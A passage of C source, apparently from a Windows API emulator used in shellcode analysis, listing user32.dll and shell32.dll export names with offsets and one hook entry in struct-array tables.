NULL}, {"MapVirtualKeyA", 0x0001FEEA, NULL, NULL}, {"MapVirtualKeyExA", 0x0005B097, NULL, NULL}, {"MapVirtualKeyExW", 0x0004959F, NULL, NULL}, {"MapVirtualKeyW", 0x0004029E, NULL, NULL}, {"MapWindowPoints", 0x00019507, NULL, NULL}, {"MenuItemFromPoint", 0x0005CD70, NULL, NULL}, {"MenuWindowProcA", 0x00046873, NULL, NULL}, {"MenuWindowProcW", 0x0004682E, NULL, NULL}, {"MessageBeep", 0x00021F7B, NULL, NULL}, {"MessageBoxA", 0x000407EA, NULL, NULL}, {"MessageBoxExA", 0x0004085C, NULL, NULL}, {"MessageBoxExW", 0x00040838, NULL, NULL}, {"MessageBoxIndirectA", 0x0002A082, NULL, NULL}, {"MessageBoxIndirectW", 0x000564D5, NULL, NULL}, {"MessageBoxTimeoutA", 0x00056406, NULL, NULL}, {"MessageBoxTimeoutW", 0x00056383, NULL, NULL}, {"MessageBoxW", 0x00056534, NULL, NULL}, {"ModifyMenuA", 0x0003F20B, NULL, NULL}, {"ModifyMenuW", 0x0000F51F, NULL, NULL}, {"MonitorFromPoint", 0x0001ABF5, NULL, NULL}, {"MonitorFromRect", 0x0001C713, NULL, NULL}, {"MonitorFromWindow", 0x0001A679, NULL, NULL}, {"MoveWindow", 0x0001B29E, NULL, NULL}, {"MsgWaitForMultipleObjects", 0x00009689, NULL, NULL}, {"MsgWaitForMultipleObjectsEx", 0x00009645, NULL, NULL}, {"NotifyWinEvent", 0x000199CB, NULL, NULL}, {"OemKeyScan", 0x0004023C, NULL, NULL}, {"OemToCharA", 0x000200D7, NULL, NULL}, {"OemToCharBuffA", 0x00020116, NULL, NULL}, {"OemToCharBuffW", 0x000402BB, NULL, NULL}, {"OemToCharW", 0x00056E76, NULL, NULL}, {"OffsetRect", 0x00019011, NULL, NULL}, {"OpenClipboard", 0x00020277, NULL, NULL}, {"OpenDesktopA", 0x00022369, NULL, NULL}, {"OpenDesktopW", 0x00018559, NULL, NULL}, {"OpenIcon", 0x000460E7, NULL, NULL}, {"OpenInputDesktop", 0x0000ECA3, NULL, NULL}, {"OpenWindowStationA", 0x000221E1, NULL, NULL}, {"OpenWindowStationW", 0x00045E0B, NULL, NULL}, {"PackDDElParam", 0x0004B961, NULL, NULL}, {"PaintDesktop", 0x0001864B, NULL, NULL}, {"PaintMenuBar", 0x0002151E, NULL, NULL}, {"PeekMessageA", 0x0001A340, NULL, NULL}, {"PeekMessageW", 0x0000929B, NULL, NULL}, {"PostMessageA", 0x0001AAFD, NULL, NULL}, {"PostMessageW", 0x00008CCB, NULL, NULL}, {"PostQuitMessage", 0x0001CA5A, NULL, NULL}, {"PostThreadMessageA", 0x000177C5, NULL, NULL}, {"PostThreadMessageW", 0x000177B8, NULL, NULL}, {"PrintWindow", 0x00013810, NULL, NULL}, {"PrivateExtractIconExA", 0x00050A09, NULL, NULL}, {"PrivateExtractIconExW", 0x0000D3C3, NULL, NULL}, {"PrivateExtractIconsA", 0x000509AF, NULL, NULL}, {"PrivateExtractIconsW", 0x0000CCFC, NULL, NULL}, {"PrivateSetDbgTag", 0x0005CE72, NULL, NULL}, {"PrivateSetRipFlags", 0x0005CEFE, NULL, NULL}, {"PtInRect", 0x00019719, NULL, NULL}, {"QuerySendMessage", 0x0005CDBE, NULL, NULL}, {"QueryUserCounters", 0x0005CDD2, NULL, NULL}, {"RealChildWindowFromPoint", 0x0005CDE6, NULL, NULL}, {"RealGetWindowClass", 0x0005B36B, NULL, NULL}, {"RealGetWindowClassA", 0x0005B36B, NULL, NULL}, {"RealGetWindowClassW", 0x000495F6, NULL, NULL}, {"ReasonCodeNeedsBugID", 0x00057716, NULL, NULL}, {"ReasonCodeNeedsComment", 0x000576FF, NULL, NULL}, {"RecordShutdownReason", 0x000496FD, NULL, NULL}, {"RedrawWindow", 0x00019944, NULL, NULL}, {"RegisterClassA", 0x0001EA5E, NULL, NULL}, {"RegisterClassExA", 0x00017C39, NULL, NULL}, {"RegisterClassExW", 0x0000AF7F, NULL, NULL}, {"RegisterClassW", 0x0000A39A, NULL, NULL}, {"RegisterClipboardFormatA", 0x00008E28, NULL, NULL}, {"RegisterClipboardFormatW", 0x0000AF34, NULL, NULL}, {"RegisterDeviceNotificationA", 0x00011B3B, NULL, NULL}, {"RegisterDeviceNotificationW", 0x0000E8B9, NULL, NULL}, {"RegisterHotKey", 0x0000EBB3, NULL, NULL}, {"RegisterLogonProcess", 0x00012B73, NULL, NULL}, {"RegisterMessagePumpHook", 0x00011EFC, NULL, NULL}, {"RegisterRawInputDevices", 0x0005CE0E, NULL, NULL}, {"RegisterServicesProcess", 0x00011FAE, NULL, NULL}, {"RegisterShellHookWindow", 0x0000E104, NULL, NULL}, {"RegisterSystemThread", 0x00046198, NULL, NULL}, {"RegisterTasklist", 0x0005CE22, NULL, NULL}, {"RegisterUserApiHook", 0x00011CFF, NULL, NULL}, {"RegisterWindowMessageA", 0x00008E28, NULL, NULL}, {"RegisterWindowMessageW", 0x0000AF34, NULL, NULL}, {"ReleaseCapture", 0x0001C37A, NULL, NULL}, {"ReleaseDC", 0x0000869D, NULL, NULL}, {"RemoveMenu", 0x0000F716, NULL, NULL}, {"RemovePropA", 0x00020094, NULL, NULL}, {"RemovePropW", 0x0001C076, NULL, NULL}, {"ReplyMessage", 0x000186F8, NULL, NULL}, {"ResolveDesktopForWOW", 0x0005CE36, NULL, NULL}, {"ReuseDDElParam", 0x0004BADB, NULL, NULL}, {"ScreenToClient", 0x000197A0, NULL, NULL}, {"ScrollChildren", 0x00054DFC, NULL, NULL}, {"ScrollDC", 0x0000B1DD, NULL, NULL}, {"ScrollWindow", 0x0001FF39, NULL, NULL}, {"ScrollWindowEx", 0x00020187, NULL, NULL}, {"SendDlgItemMessageA", 0x0002C2E7, NULL, NULL}, {"SendDlgItemMessageW", 0x000173CC, NULL, NULL}, {"SendIMEMessageExA", 0x0005B49E, NULL, NULL}, {"SendIMEMessageExW", 0x0005B48D, NULL, NULL}, {"SendInput", 0x0001F140, NULL, NULL}, {"SendMessageA", 0x0001F3C2, NULL, NULL}, {"SendMessageCallbackA", 0x0005B129, NULL, NULL}, {"SendMessageCallbackW", 0x0001D6DB, NULL, NULL}, {"SendMessageTimeoutA", 0x0001FB6B, NULL, NULL}, {"SendMessageTimeoutW", 0x0001CDAA, NULL, NULL}, {"SendMessageW", 0x0001929A, NULL, NULL}, {"SendNotifyMessageA", 0x00043948, NULL, NULL}, {"SendNotifyMessageW", 0x0001D64F, NULL, NULL}, {"SetActiveWindow", 0x00017822, NULL, NULL}, {"SetCapture", 0x0001C35E, NULL, NULL}, {"SetCaretBlinkTime", 0x00021174, NULL, NULL}, {"SetCaretPos", 0x0001A962, NULL, NULL}, {"SetClassLongA", 0x0001FE71, NULL, NULL}, {"SetClassLongW", 0x0000E14B, NULL, NULL}, {"SetClassWord", 0x0005CE4A, NULL, NULL}, {"SetClipboardData", 0x00020F9E, NULL, NULL}, {"SetClipboardViewer", 0x00020473, NULL, NULL}, {"SetConsoleReserveKeys", 0x0001865F, NULL, NULL}, {"SetCursor", 0x00019930, NULL, NULL}, {"SetCursorContents", 0x0005CE5E, NULL, NULL}, {"SetCursorPos", 0x000461B3, NULL, NULL}, {"SetDebugErrorLevel", 0x000462EB, NULL, NULL}, {"SetDeskWallpaper", 0x00045705, NULL, NULL}, {"SetDlgItemInt", 0x0004BC09, NULL, NULL}, {"SetDlgItemTextA", 0x0002C972, NULL, NULL}, {"SetDlgItemTextW", 0x0001736C, NULL, NULL}, {"SetDoubleClickTime", 0x000461CE, NULL, NULL}, {"SetFocus", 0x0001B112, NULL, NULL}, {"SetForegroundWindow", 0x000142ED, NULL, NULL}, {"SetInternalWindowPos", 0x0005CE9A, NULL, NULL}, {"SetKeyboardState", 0x000202B5, NULL, NULL}, {"SetLastErrorEx", 0x00056FB0, NULL, NULL}, {"SetLayeredWindowAttributes", 0x0001CE12, NULL, NULL}, {"SetLogonNotifyWindow", 0x00011FEF, NULL, NULL}, {"SetMenu", 0x0003F3F6, NULL, NULL}, {"SetMenuContextHelpId", 0x0005CEC2, NULL, NULL}, {"SetMenuDefaultItem", 0x0000F5B4, NULL, NULL}, {"SetMenuInfo", 0x0005523C, NULL, NULL}, {"SetMenuItemBitmaps", 0x0003FAB2, NULL, NULL}, {"SetMenuItemInfoA", 0x0005AE5E, NULL, NULL}, {"SetMenuItemInfoW", 0x00013281, NULL, NULL}, {"SetMessageExtraInfo", 0x000468C5, NULL, NULL}, {"SetMessageQueue", 0x0002E1EB, NULL, NULL}, {"SetParent", 0x0001C7F9, NULL, NULL}, {"SetProcessDefaultLayout", 0x000463FC, NULL, NULL}, {"SetProcessWindowStation", 0x00017D40, NULL, NULL}, {"SetProgmanWindow", 0x00046168, NULL, NULL}, {"SetPropA", 0x00020000, NULL, NULL}, {"SetPropW", 0x0001C0B9, NULL, NULL}, {"SetRect", 0x00018FA6, NULL, NULL}, {"SetRectEmpty", 0x00019CBA, NULL, NULL}, {"SetScrollInfo", 0x00009056, NULL, NULL}, {"SetScrollPos", 0x0001F750, NULL, NULL}, {"SetScrollRange", 0x0001F99B, NULL, NULL}, {"SetShellWindow", 0x00046114, NULL, NULL}, {"SetShellWindowEx", 0x0000FF92, NULL, NULL}, {"SetSysColors", 0x00056582, NULL, NULL}, {"SetSysColorsTemp", 0x00056EBE, NULL, NULL}, {"SetSystemCursor", 0x0005670B, NULL, NULL}, {"SetSystemMenu", 0x0002F9E3, NULL, NULL}, {"SetSystemTimer", 0x0005CF3A, NULL, NULL}, {"SetTaskmanWindow", 0x00010260, NULL, NULL}, {"SetThreadDesktop", 0x00017D2C, NULL, NULL}, {"SetTimer", 0x00008C2E, NULL, NULL}, {"SetUserObjectInformationA", 0x0005CEEA, NULL, NULL}, {"SetUserObjectInformationW", 0x0005CEEA, NULL, NULL}, {"SetUserObjectSecurity", 0x000113B3, NULL, NULL}, {"SetWinEventHook", 0x000217F7, NULL, NULL}, {"SetWindowContextHelpId", 0x0002FDD9, NULL, NULL}, {"SetWindowLongA", 0x0001C29D, NULL, NULL}, {"SetWindowLongW", 0x0001C2BB, NULL, NULL}, {"SetWindowPlacement", 0x0000DE46, NULL, NULL}, {"SetWindowPos", 0x000199F3, NULL, NULL}, {"SetWindowRgn", 0x0001E528, NULL, NULL}, {"SetWindowStationUser", 0x0000F338, NULL, NULL}, {"SetWindowTextA", 0x0001F56B, NULL, NULL}, {"SetWindowTextW", 0x0001960E, NULL, NULL}, {"SetWindowWord", 0x000203DB, NULL, NULL}, {"SetWindowsHookA", 0x0002ED69, NULL, NULL}, {"SetWindowsHookExA", 0x00021211, NULL, NULL}, {"SetWindowsHookExW", 0x0001820F, NULL, NULL}, {"SetWindowsHookW", 0x00011B8A, NULL, NULL}, {"ShowCaret", 0x0001B09A, NULL, NULL}, {"ShowCursor", 0x0001FA6E, NULL, NULL}, {"ShowOwnedPopups", 0x000461E6, NULL, NULL}, {"ShowScrollBar", 0x0001F2F2, NULL, NULL}, {"ShowStartGlass", 0x00040101, NULL, NULL}, {"ShowWindow", 0x0001AF56, NULL, NULL}, {"ShowWindowAsync", 0x0001337D, NULL, NULL}, {"SoftModalMessageBox", 0x0002A2DF, NULL, NULL}, {"SubtractRect", 0x00010138, NULL, NULL}, {"SwapMouseButton", 0x00046201, NULL, NULL}, {"SwitchDesktop", 0x0000FE6E, NULL, NULL}, {"SwitchToThisWindow", 0x0004581C, NULL, NULL}, {"SystemParametersInfoA", 0x0001DEB2, NULL, NULL}, {"SystemParametersInfoW", 0x00009F06, NULL, NULL}, {"TabbedTextOutA", 0x0004A5E5, NULL, NULL}, {"TabbedTextOutW", 0x0004A5B6, NULL, NULL}, {"TileChildWindows", 0x00046219, NULL, NULL}, {"TileWindows", 0x00055215, NULL, NULL}, {"ToAscii", 0x00045721, NULL, NULL}, {"ToAsciiEx", 0x0004577E, NULL, NULL}, {"ToUnicode", 0x000566A8, NULL, NULL}, {"ToUnicodeEx", 0x000566D9, NULL, NULL}, {"TrackMouseEvent", 0x0001C80D, NULL, NULL}, {"TrackPopupMenu", 0x0005531E, NULL, NULL}, {"TrackPopupMenuEx", 0x0005CF62, NULL, NULL}, {"TranslateAccelerator", 0x0001FAC4, NULL, NULL}, {"TranslateAcceleratorA", 0x0001FAC4, NULL, NULL}, {"TranslateAcceleratorW", 0x0000941E, NULL, NULL}, {"TranslateMDISysAccel", 0x0001FB2F, NULL, NULL}, {"TranslateMessage", 0x00008BF6, NULL, NULL}, {"TranslateMessageEx", 0x00008A19, NULL, NULL}, {"UnhookWinEvent", 0x000218AC, NULL, NULL}, {"UnhookWindowsHook", 0x00011BA5, NULL, NULL}, {"UnhookWindowsHookEx", 0x0001D5F3, NULL, NULL}, {"UnionRect", 0x0001A0F1, NULL, NULL}, {"UnloadKeyboardLayout", 0x000462C0, NULL, NULL}, {"UnlockWindowStation", 0x0000DCD9, NULL, NULL}, {"UnpackDDElParam", 0x0004B9C5, NULL, NULL}, {"UnregisterClassA", 0x000189A3, NULL, NULL}, {"UnregisterClassW", 0x00009AA4, NULL, NULL}, {"UnregisterDeviceNotification", 0x0000E8D7, NULL, NULL}, {"UnregisterHotKey", 0x0005CF8A, NULL, NULL}, {"UnregisterMessagePumpHook", 0x0000FE08, NULL, NULL}, {"UnregisterUserApiHook", 0x0000EDFB, NULL, NULL}, {"UpdateLayeredWindow", 0x0001ACF3, NULL, NULL}, {"UpdatePerUserSystemParameters", 0x000119C8, NULL, NULL}, {"UpdateWindow", 0x0001AEAB, NULL, NULL}, {"User32InitializeImmEntryTable", 0x0002D395, NULL, NULL}, {"UserClientDllInitialize", 0x0000B217, NULL, NULL}, {"UserHandleGrantAccess", 0x0005CFDA, NULL, NULL}, {"UserLpkPSMTextOut", 0x0001BC25, NULL, NULL}, {"UserLpkTabbedTextOut", 0x0004A3FB, NULL, NULL}, {"UserRealizePalette", 0x0001FA56, NULL, NULL}, {"UserRegisterWowHandlers", 0x00043748, NULL, NULL}, {"VRipOutput", 0x0005B427, NULL, NULL}, {"VTagOutput", 0x0005B427, NULL, NULL}, {"ValidateRect", 0x0001FBBD, NULL, NULL}, {"ValidateRgn", 0x0001F67E, NULL, NULL}, {"VkKeyScanA", 0x0002E4C0, NULL, NULL}, {"VkKeyScanExA", 0x0005B18B, NULL, NULL}, {"VkKeyScanExW", 0x0001F1BC, NULL, NULL}, {"VkKeyScanW", 0x0002E1F6, NULL, NULL}, {"WCSToMBEx", 0x0001D446, NULL, NULL}, {"WINNLSEnableIME", 0x0005B46B, NULL, NULL}, {"WINNLSGetEnableStatus", 0x0005B47C, NULL, NULL}, {"WINNLSGetIMEHotkey", 0x00023785, NULL, NULL}, {"WaitForInputIdle", 0x0003FAF5, NULL, NULL}, {"WaitMessage", 0x0000940C, NULL, NULL}, {"Win32PoolAllocationStats", 0x0005D002, NULL, NULL}, {"WinHelpA", 0x0002EE5D, NULL, NULL}, {"WinHelpW", 0x00051BD4, NULL, NULL}, {"WindowFromDC", 0x0001FA3E, NULL, NULL}, {"WindowFromPoint", 0x00019766, NULL, NULL}, {"keybd_event", 0x00056783, NULL, NULL}, {"mouse_event", 0x0005673F, NULL, NULL}, {"wsprintfA", 0x0000A8AD, NULL, NULL}, {"wsprintfW", 0x0000A9B6, NULL, NULL}, {"wvsprintfA", 0x0000A610, NULL, NULL}, {"wvsprintfW", 0x0000A9D1, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export shell32_exports[] = { {"SHChangeNotifyRegister", 0x0003EB0B, NULL, NULL}, {"SHDefExtractIconA", 0x000F4E4E, NULL, NULL}, {"SHChangeNotifyDeregister", 0x000349CA, NULL, NULL}, {"SHDefExtractIconW", 0x000456B1, NULL, NULL}, {"PifMgr_OpenProperties", 0x000C4045, NULL, NULL}, {"PifMgr_GetProperties", 0x000C32C8, NULL, NULL}, {"PifMgr_SetProperties", 0x000C3B47, NULL, NULL}, {"PifMgr_CloseProperties", 0x000C2BAC, NULL, NULL}, {"SHStartNetConnectionDialogW", 0x00111C25, NULL, NULL}, {"ILFindLastID", 0x0002CE2C, NULL, NULL}, {"ILRemoveLastID", 0x0002C667, NULL, NULL}, {"ILClone", 0x0002B2A5, NULL, NULL}, {"ILCloneFirst", 0x0002B514, NULL, NULL}, {"ILIsEqual", 0x000311EB, NULL, NULL}, {"DAD_DragEnterEx2", 0x000EEBAF, NULL, NULL}, {"ILIsParent", 0x00031408, NULL, NULL}, {"ILFindChild", 0x000314C8, NULL, NULL}, {"ILCombine", 0x0002B5C5, NULL, NULL}, {"ILLoadFromStream", 0x0004D37F, NULL, NULL}, {"ILSaveToStream", 0x0006F484, NULL, NULL}, {"SHILCreateFromPath", 0x0002E5F0, NULL, NULL}, {"IsLFNDriveA", 0x000B519A, NULL, NULL}, {"IsLFNDriveW", 0x00037851, NULL, NULL}, {"PathIsExe", 0x0003755E, NULL, NULL}, {"OpenAs_RunDLL", 0x000CE101, NULL, NULL}, {"PathMakeUniqueName", 0x000B55CC, NULL, NULL}, {"PathQualify", 0x000B51E4, NULL, NULL}, {"PathResolve", 0x000494B2, NULL, NULL}, {"RestartDialog", 0x000B8D55, NULL, NULL}, {"PickIconDlg", 0x000B6467, NULL, NULL}, {"GetFileNameFromBrowse", 0x000F751B, NULL, NULL}, {"DriveType", 0x00030EAA, NULL, NULL}, {"IsNetDrive", 0x00030618, NULL, NULL}, {"Shell_MergeMenus", 0x0003F204, NULL, NULL}, {"SHGetSetSettings", 0x0002C860, NULL, NULL}, {"Shell_GetImageLists", 0x00033B8E, NULL, NULL}, {"Shell_GetCachedImageIndex", 0x00033E68, NULL, NULL}, {"SHShellFolderView_Message", 0x0010AD28, NULL, NULL}, {"SHCreateStdEnumFmtEtc", 0x000A6ECA, NULL, NULL}, {"PathYetAnotherMakeUniqueName", 0x000708E1, NULL, NULL}, {"SHMapPIDLToSystemImageListIndex", 0x00043A54, NULL, NULL}, {"SHOpenPropSheetW", 0x000B9711, NULL, NULL}, {"OpenAs_RunDLLA", 0x000CE101, NULL, NULL}, {"OpenRegStream", 0x0004C4F6, NULL, NULL}, {"SHDoDragDrop", 0x000EED9D, NULL, NULL}, {"SHCloneSpecialIDList", 0x00037053, NULL, NULL}, {"SHFindFiles", 0x0010E52A, NULL, NULL}, {"PathGetShortPath", 0x000B501E, NULL, NULL}, {"SHGetRealIDL", 0x00078E09, NULL, NULL}, {"SHRestricted", 0x0002C509, NULL, NULL}, {"OpenAs_RunDLLW", 0x000CE1BB, NULL, NULL}, {"SHCoCreateInstance", 0x0002B042, NULL, NULL}, {"SignalFileOpen", 0x000F5BC8, NULL, NULL}, {"Activate_RunDLL", 0x000CF1B4, NULL, NULL}, {"AppCompat_RunDLLW", 0x000D8C1F, NULL, NULL}, {"CheckEscapesA", 0x000BB421, NULL, NULL}, {"CheckEscapesW", 0x000BB378, NULL, NULL}, {"CommandLineToArgvW", 0x000813A0, NULL, NULL}, {"Control_FillCache_RunDLL", 0x000B1710, NULL, NULL}, {"Control_FillCache_RunDLLA", 0x000B1710, NULL, NULL}, {"Control_FillCache_RunDLLW", 0x000B1805, NULL, NULL}, {"Control_RunDLL", 0x000B23E8, NULL, NULL}, {"Control_RunDLLA", 0x000B23E8, NULL, NULL}, {"Control_RunDLLAsUserW", 0x000B249A, NULL, NULL}, {"Control_RunDLLW", 0x000B2441, NULL, NULL}, {"DllCanUnloadNow", 0x0006A2CD, NULL, NULL}, {"DllGetClassObject", 0x00032899, NULL, NULL}, {"DllGetVersion", 0x0004641B, NULL, NULL}, {"IsLFNDrive", 0x00037851, NULL, NULL}, {"DllInstall", 0x000F1DCC, NULL, NULL}, {"SHFlushClipboard", 0x000B3F6C, NULL, NULL}, {"DllRegisterServer", 0x00039B79, NULL, NULL}, {"DllUnregisterServer", 0x00039B79, NULL, NULL}, {"DAD_AutoScroll", 0x000E5770, NULL, NULL}, {"DAD_DragEnterEx", 0x000EEC08, NULL, NULL}, {"DAD_DragLeave", 0x000EED3C, NULL, NULL}, {"DoEnvironmentSubstA", 0x000B375A, NULL, NULL}, {"DAD_DragMove", 0x000EEC61, NULL, NULL}, {"DoEnvironmentSubstW", 0x00080DB7, NULL, NULL}, {"DAD_SetDragImage", 0x000EECA1, NULL, NULL}, {"DAD_ShowDragImage", 0x0004F6E4, NULL, NULL}, {"DragAcceptFiles", 0x0006B201, NULL, NULL}, {"DragFinish", 0x000B7CE5, NULL, NULL}, {"DragQueryFile", 0x000B7CF6, NULL, NULL}, {"DragQueryFileA", 0x000B7CF6, NULL, NULL}, {"DragQueryFileAorW", 0x00058339, NULL, NULL}, {"DragQueryFileW", 0x00058316, NULL, NULL}, {"DragQueryPoint", 0x000B7C88, NULL, NULL}, {"SHCLSIDFromString", 0x0002CC63, NULL, NULL}, {"SHMapIDListToImageListIndexAsync", 0x00042D74, NULL, NULL}, {"SHFind_InitMenuPopup", 0x0010CEFE, NULL, NULL}, {"DuplicateIcon", 0x000B2AFF, NULL, NULL}, {"SHLoadOLE", 0x0002ACD1, NULL, NULL}, {"ILGetSize", 0x0002B240, NULL, NULL}, {"ILGetNext", 0x000744C7, NULL, NULL}, {"ILAppendID", 0x000F78F9, NULL, NULL}, {"ILFree", 0x0002AB7C, NULL, NULL}, {"ILCreateFromPath", 0x0002E78F, NULL, NULL}, {"SHRunControlPanel", 0x000B23CD, NULL, NULL}, {"SHSimpleIDListFromPath", 0x0002B1B9, NULL, NULL}, {"Win32DeleteFile", 0x0007051D, NULL, NULL}, {"SHCreateDirectory", 0x000AA975, NULL, NULL}, {"CallCPLEntry16", 0x000BD7E2, NULL, NULL}, {"SHAddFromPropSheetExtArray", 0x000B78E3, NULL, NULL}, {"SHCreatePropSheetExtArray", 0x000B7B13, NULL, NULL}, {"SHDestroyPropSheetExtArray", 0x000B78AC, NULL, NULL}, {"SHReplaceFromPropSheetExtArray", 0x000B793B, NULL, NULL}, {"PathCleanupSpec", 0x00070AC4, NULL, NULL}, {"SHValidateUNC", 0x000F5418, NULL, NULL}, {"SHCreateShellFolderViewEx", 0x0010B1B4, NULL, NULL}, {"SHSetInstanceExplorer", 0x001042A0, NULL, NULL}, {"SHObjectProperties", 0x000B3A8A, NULL, NULL}, {"SHGetNewLinkInfoA", 0x0010290F, NULL, NULL}, {"SHGetNewLinkInfoW", 0x00070B62, NULL, NULL}, {"ShellMessageBoxW", 0x001DCD3A, NULL, NULL}, {"ShellMessageBoxA", 0x000B3E9E, NULL, NULL}, {"ILCreateFromPathA", 0x000F7B58, NULL, NULL}, {"ILCreateFromPathW", 0x0002E78F, NULL, NULL}, {"SHUpdateImageA", 0x000FB7A5, NULL, NULL}, {"SHUpdateImageW", 0x000FB666, NULL, NULL}, {"SHHandleUpdateImage", 0x000FAFBE, NULL, NULL}, {"SHFree", 0x0002A97A, NULL, NULL}, {"SHAlloc", 0x0002B210, NULL, NULL}, {"ExtractAssociatedIconA", 0x000B3615, NULL, NULL}, {"ExtractAssociatedIconExA", 0x000B3356, NULL, NULL}, {"ExtractAssociatedIconExW", 0x000B318B, NULL, NULL}, {"ExtractAssociatedIconW", 0x000B3449, NULL, NULL}, {"ExtractIconA", 0x000B34A7, NULL, NULL}, {"ExtractIconEx", 0x000B2AEE, NULL, NULL}, {"ExtractIconExA", 0x000B2AEE, NULL, NULL}, {"ExtractIconExW", 0x00036CBF, NULL, NULL}, {"ExtractIconResInfoA", 0x000B311F, NULL, NULL}, {"ExtractIconResInfoW", 0x000B2C16, NULL, NULL}, {"ExtractIconW", 0x00071896, NULL, NULL}, {"ExtractVersionResource16W", 0x00069681, NULL, NULL}, {"FindExeDlgProc", 0x0013890D, NULL, NULL}, {"FindExecutableA", 0x0007FA54, NULL, NULL}, {"FindExecutableW", 0x0007FAE6, NULL, NULL}, {"FreeIconList", 0x000B2BB5, NULL, NULL}, {"InternalExtractIconListA", 0x00062369, NULL, NULL}, {"InternalExtractIconListW", 0x000B350B, NULL, NULL}, {"Options_RunDLL", 0x0019C862, NULL, NULL}, {"PathIsSlowW", 0x00031291, NULL, NULL}, {"PathIsSlowA", 0x000B4C21, NULL, NULL}, {"SHTestTokenMembership", 0x0004BF97, NULL, NULL}, {"Options_RunDLLA", 0x0019C862, NULL, NULL}, {"SHCreateShellFolderView", 0x0004086A, NULL, NULL}, {"Options_RunDLLW", 0x0019C88E, NULL, NULL}, {"PrintersGetCommand_RunDLL", 0x000B7440, NULL, NULL}, {"PrintersGetCommand_RunDLLA", 0x000B7440, NULL, NULL}, {"PrintersGetCommand_RunDLLW", 0x000B74C5, NULL, NULL}, {"RealShellExecuteA", 0x000F5E02, NULL, NULL}, {"RealShellExecuteExA", 0x000F5CB0, NULL, NULL}, {"RealShellExecuteExW", 0x000F5D59, NULL, NULL}, {"RealShellExecuteW", 0x000F5E35, NULL, NULL}, {"RegenerateUserEnvironment", 0x000BD3B6, NULL, NULL}, {"SHAddToRecentDocs", 0x0006FD7A, NULL, NULL}, {"SHAppBarMessage", 0x0010410F, NULL, NULL}, {"SHBindToParent", 0x00033D18, NULL, NULL}, {"SHBrowseForFolder", 0x0010734B, NULL, NULL}, {"SHBrowseForFolderA", 0x0010734B, NULL, NULL}, {"SHBrowseForFolderW", 0x00107251, NULL, NULL}, {"SHChangeNotify", 0x000383C9, NULL, NULL}, {"SHChangeNotifySuspendResume", 0x000FB585, NULL, NULL}, {"SHCreateDirectoryExA", 0x000AA990, NULL, NULL}, {"SHCreateDirectoryExW", 0x00051C92, NULL, NULL}, {"SHCreateLocalServerRunDll", 0x0019E7FA, NULL, NULL}, {"SHCreateProcessAsUserW", 0x00109644, NULL, NULL}, {"SHCreateQueryCancelAutoPlayMoniker", 0x00081FCE, NULL, NULL}, {"SHCreateShellItem", 0x00102D66, NULL, NULL}, {"SHEmptyRecycleBinA", 0x000A6D6B, NULL, NULL}, {"SHEmptyRecycleBinW", 0x000A6D01, NULL, NULL}, {"SHEnableServiceObject", 0x0010427F, NULL, NULL}, {"SHEnumerateUnreadMailAccountsW", 0x000D26EA, NULL, NULL}, {"SHExtractIconsW", 0x00045762, NULL, NULL}, {"SHFileOperation", 0x000B0BCC, NULL, NULL}, {"SHFileOperationA", 0x000B0BCC, NULL, NULL}, {"SHFileOperationW", 0x000B08E4, NULL, NULL}, {"SHFormatDrive", 0x000D84D5, NULL, NULL}, {"SHFreeNameMappings", 0x000A9171, NULL, NULL}, {"SHGetDataFromIDListA", 0x00102690, NULL, NULL}, {"SHGetDataFromIDListW", 0x0006AB11, NULL, NULL}, {"SHGetDesktopFolder", 0x0002BC18, NULL, NULL}, {"SHGetDiskFreeSpaceA", 0x000B3850, NULL, NULL}, {"SHGetDiskFreeSpaceExA", 0x000B3850, NULL, NULL}, {"SHGetDiskFreeSpaceExW", 0x00039B81, NULL, NULL}, {"SHGetFileInfo", 0x000715A9, NULL, NULL}, {"SHGetFileInfoA", 0x000715A9, NULL, NULL}, {"SHGetFileInfoW", 0x0006B04B, NULL, NULL}, {"SHGetFolderLocation", 0x0002F711, NULL, NULL}, {"SHGetFolderPathA", 0x0006AC69, NULL, NULL}, {"SHGetFolderPathAndSubDirA", 0x000F9C9C, NULL, NULL}, {"SHGetFolderPathAndSubDirW", 0x00051C10, NULL, NULL}, {"SHGetFolderPathW", 0x0002F226, NULL, NULL}, {"SHGetIconOverlayIndexA", 0x00113CA6, NULL, NULL}, {"SHGetIconOverlayIndexW", 0x00113BCE, NULL, NULL}, {"SHGetInstanceExplorer", 0x001042B6, NULL, NULL}, {"SHGetMalloc", 0x0006B3ED, NULL, NULL}, {"SHGetNewLinkInfo", 0x0010290F, NULL, NULL}, {"SHGetPathFromIDList", 0x00074C89, NULL, NULL}, {"SHGetPathFromIDListA", 0x00074C89, NULL, NULL}, {"SHGetPathFromIDListW", 0x00031000, NULL, NULL}, {"SHGetSettings", 0x0007FC05, NULL, NULL}, {"SHGetSpecialFolderLocation", 0x0002F793, NULL, NULL}, {"SHGetSpecialFolderPathA", 0x000F9C6E, env_hook_SHGetSpecialFolderPathA, NULL}, {"SHGetSpecialFolderPathW", 0x0002B1D8, NULL, NULL}, {"SHGetUnreadMailCountW", 0x000D4ED8, NULL, NULL}, {"SHHelpShortcuts_RunDLL", 0x000B3A1F, NULL, NULL}, {"SHHelpShortcuts_RunDLLA", 0x000B3A1F, NULL, NULL}, {"SHHelpShortcuts_RunDLLW", 0x000B3A7A, NULL, NULL}, {"SHInvokePrinterCommandA", 0x000B72B3, NULL, NULL}, {"SHInvokePrinterCommandW", 0x000B727E, NULL, NULL}, {"SHIsFileAvailableOffline", 0x000D2300, NULL, NULL}, {"SHLoadInProc", 0x00104267, NULL, NULL}, {"SHLoadNonloadedIconOverlayIdentifiers", 0x00116D97, NULL, NULL}, {"SHOpenFolderAndSelectItems", 0x00102CCE, NULL, NULL}, {"SHParseDisplayName", 0x0002E020, NULL, NULL}, {"SHPathPrepareForWriteA", 0x000D4BBC, NULL, NULL}, {"SHPathPrepareForWriteW", 0x000809F2, NULL, NULL}, {"SHQueryRecycleBinA", 0x000A6A02, NULL, NULL}, {"SHQueryRecycleBinW", 0x000A6970, NULL, NULL}, {"SHSetLocalizedName", 0x0006808C, NULL, NULL}, {"SHSetUnreadMailCountW", 0x000D50EC, NULL, NULL}, {"SHUpdateRecycleBinIcon", 0x00052728, NULL, NULL}, {"SheChangeDirA", 0x000BBCAA, NULL, NULL}, {"SheChangeDirExA", 0x000BC265, NULL, NULL}, {"SheChangeDirExW", 0x000BBFE1, NULL, NULL}, {"SheChangeDirW", 0x000BBAC6, NULL, NULL}, {"SheConvertPathW", 0x000CC6AE, NULL, NULL}, {"SheFullPathA", 0x000BBD7A, NULL, NULL}, 